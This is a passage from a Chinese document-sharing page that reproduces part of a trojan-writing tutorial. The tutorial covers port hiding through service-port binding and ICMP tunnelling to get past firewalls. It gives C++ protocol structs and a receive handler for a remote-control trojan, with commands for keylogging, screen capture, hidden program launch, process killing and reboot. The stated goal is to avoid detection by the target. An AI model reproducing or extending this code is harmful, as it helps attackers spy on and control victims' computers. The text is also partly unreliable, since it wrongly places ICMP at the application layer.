第一范文网 - 专业文章范例文档资料分享平台

木马编写教程学习木马编写的好资料

来源:用户分享 时间:2025/7/12 2:50:31 本文由loading 分享 下载这篇文档手机版
说明:文章内容仅供预览,部分内容可能不全,需要完整文档或者需要复制内容,请下载word后使用。下载word有问题请添加微信号:xxxxxxx或QQ:xxxxxx 处理(尽可能给您提供完整文档),感谢您的支持与谅解。

C:\\\\Documents and Settings\\\\bigball>netstat –n

但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

网络层次结构图

5、发送数据的组织方法

关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

typedef struct{ //定义消息结构 //char ip[20];

char Type; //消息种类 char Password[20]; //密码 int CNum; //消息操作号 //int Length; //消息长度 }Msg;

#define MsgLen sizeof(Msg) //------------------------------------------- //对话框数据包定义:Dlg_Msg_Type.h //------------------------------------------- //定义如下消息类型:

#define MsgDlgCommon 4//连接事件 #define MsgDlgSend 5//发送完成事件 //消息结构 typedef struct{

char Name[20];//对话框标题 char Msg[256];//对话框消息内容 }MsgDlgUint;

#define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度 //------------------------------------------ //聊天数据包定义:Chat_Msg_Type.h

//------------------------------------------ //定义如下消息类型:

#define MsgChatCommon 0//连接事件 #define MsgChatConnect 1//接入事件 #define MsgChatEscept 2//结束事件

#define MsgChatReceived 16//确认对话内容收到 //消息结构 typedef struct{

char ClientName[20];//Client自定义的名称 char Msg[256];//发送的消息 }MsgChatUint;

#define MsgChatLen sizeof(MsgChatUint)//消息单元长度

//------------------------------------------ //重启数据包定义:Reboot_Msg_Type.h //------------------------------------------ //定义如下消息类型:

#define MsgReBoot 15//重启事件

//------------------------------------------

//目录结构请求数据包定义:Dir_Msg_Type.h //------------------------------------------ //定义如下消息类型: #define MsgGetDirInfo 17 #define MsgReceiveGetDirInfo 18 typedef struct{

char Dir[4096];//你要的目录名 }MsgDirUint;

#define MsgDirUintLen sizeof(MsgDirUint)

// TCP的Msg

typedef struct{ //定义消息结构 char SType; //消息种类 char SPassword[20]; //密码 //int SNum; //消息操作号 char *AllMsg; }SMsg;

#define SMsgLen sizeof(SMsg)

#define MSGListProgram 19 #define MSGFlyMouse 21 #define MSGGoWithMouse 22 #define MSGSaveKey 23 #define MSGTracekey 24

#define MsgCopyScreen 25//tcp接收消息,udp请求消息 #define MSGCopyWindow 26

//------------------------- //鼠标指针隐藏和显示控制 //-------------------------

#define MsgSetMouseStat 27//设置消息 #define MsgMouseStat 28//成功消息 typedef struct{ bool mouseshow; }MsgSetMouseStatUint;

#define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint) //------------------------- //任务栏隐藏和显示控制 //-------------------------

#define MsgSetTaskBarStat 29//设置消息 #define MsgTaskBarStat 30//成功消息 typedef struct{ bool taskshow;

}MsgSetTaskBarStatUint;

#define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

//------------------------- //得到机器名 //-------------------------

#define MsgGetNetBiosName 31//取请求 #define MsgNetBiosName 32//回送机器名 typedef struct{

char NetBiosName[128]; }MsgNetBiosNameUint;

#define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

//------------------------- //关闭进程变更! //-------------------------

#define MsgSetProgramClose 33//关闭请求 #define MsgProgramClosed 34//成功消息----- typedef struct{

char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字 }MsgSetProgramCloseUint;

#define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

//------------------------- //打开进程变更!

//-------------------------

#define MsgSetProgramOpen 20//打开请求 #define MsgProgramOpened 36//成功消息 typedef struct{

char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字 bool ProgramShow;//前台运行或后台运行程序(隐藏运行) }MsgSetProgramOpenUint;

#define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

#define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

Msg *msg=new Msg;

TMemoryStream *RData=new TMemoryStream; NMUDP1->ReadStream(RData); RData->Read(msg,sizeof(Msg));

UdpConnect *udpconnect=new UdpConnect; NetBiosName *netbiosname=new NetBiosName; if(msg->CNum==CNumBak) return; else{

CNumBak=msg->CNum;TYPE) {

case 0://MsgUdpConnect

RData->Read(udpconnect,sizeof(UdpConnect)); checkuser(udpconnect->IsRight); break; case 1:

RData->Read(netbiosname,sizeof(NetBiosName)); AnsiString jqm=\机器名 \

jqm+=(AnsiString)netbiosname->NetBiosName; Memo2->Lines->Add(jqm); break; } }

当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

搜索更多关于: 木马编写教程学习木马编写的好资料 的文档
木马编写教程学习木马编写的好资料.doc 将本文的Word文档下载到电脑,方便复制、编辑、收藏和打印
本文链接:https://www.diyifanwen.net/c825kf9pgib4n25q6n2cv_6.html(转载请注明文章来源)
热门推荐
Copyright © 2012-2023 第一范文网 版权所有 免责声明 | 联系我们
声明 :本网站尊重并保护知识产权,根据《信息网络传播权保护条例》,如果我们转载的作品侵犯了您的权利,请在一个月内通知我们,我们会及时删除。
客服QQ:xxxxxx 邮箱:xxxxxx@qq.com
渝ICP备2023013149号
Top